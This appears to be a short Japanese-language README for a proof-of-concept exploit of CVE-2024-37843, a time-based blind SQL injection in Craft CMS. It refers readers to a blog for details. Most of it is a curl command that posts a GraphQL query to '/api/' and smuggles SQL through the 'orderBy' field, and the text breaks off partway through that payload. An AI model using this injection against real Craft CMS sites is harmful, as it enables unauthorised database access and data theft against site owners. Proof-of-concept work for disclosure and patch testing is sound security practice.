CVE-2024-37843-POC

CVE-2024-37843-POC CVE-2024-37843のPOCです。Craft CMSの時間ベースのブラインドSQLインジェクション 詳細はブログで確認できます POC curl -X POST '/api/' -H 'Content-Type:application/json' -d '"query":"query IntrospectionQuery assetsorderBy: "assets.volumeId -- \\ \n \n LIMIT 5 AS subquery\nINNER JOIN assets assets ON assets.id =...